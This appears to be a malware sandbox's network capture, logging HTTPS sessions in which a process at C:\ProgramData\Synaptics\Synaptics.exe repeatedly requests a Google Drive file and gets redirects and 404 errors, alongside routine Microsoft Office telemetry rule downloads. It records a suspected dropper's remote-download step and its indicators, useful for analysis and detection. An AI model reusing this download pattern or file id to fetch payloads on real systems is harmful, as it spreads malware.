2024-11-05 21:44:16 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:16 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 47 5a 35 5f 47 64 45 44 37 57 5a 4e 47 51 6d 37 53 6f 68 77 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="KGZ5_GdED7WZNGQm7Sohww">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:16 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49780	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:16 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=qXCc1ItKy39zclishG3lJPWHQIXig-czns6rA7aMGgjqjClusxZU9ws5ACNPo6F3tkb29OjltQKotVk7HqnFjdbvkbI6QwiZ0bcUdju9-7a05VRNl2xR-3dkjo3cCq43-kMr_ZXasnEXsgnzns5RVgvknKJ2IPf8v5cxrNztWP9OsLoNzWE
2024-11-05 21:44:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-3T0N3gldrC7w0P9lVJdqTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49783	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:16 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: ece73ca0-101e-007a-073f-2e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214417Z-15869dbbcc6ss7fxhC1DFW86fs00000002fg000000007w8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:17 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7513f58e-b01e-005c-2901-2d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214417Z-16547b76f7f7scqbhC1DFW0m5w00000005ng000000003yz8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214417Z-16547b76f7f67wxlhC1DFWah9w00000005p000000000md87 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:17 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214417Z-16547b76f7fmbrhqhC1DFWkds800000005rg00000000hqu8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f37a8315-901e-002a-2902-2f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214417Z-17df447cdb5zfhrmhC1DFWh33000000001w000000000ar0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49790	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-MELoY4bUvS2Nq6QqEOF0Eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49791	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:18 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:17 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZbMdhxQ9KJ0zEJhAp1ZHmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY0uaYAKbQ14JyMDypC53Kgk7DJIS81VLXeOWCNDyz62g4T-JANHbqMD7iSTSyTL4h98AKdvhTcD7w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:18 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:18 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 6b 68 71 35 63 44 79 72 70 6d 57 58 4a 6e 42 76 4e 71 74 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="Skhq5cDyrpmWXJnBvNqtxg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:18 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49788	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:18 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:18 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dzp0BVaQB0FOcshyerq-1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY1PW-1EmgCA-vV_BanrOT0b4kqZNxbQ_LrJiLFGS4HZYtZX-_3K8PP9VmLCiMvhGAi8sa95DOmGfQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:18 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
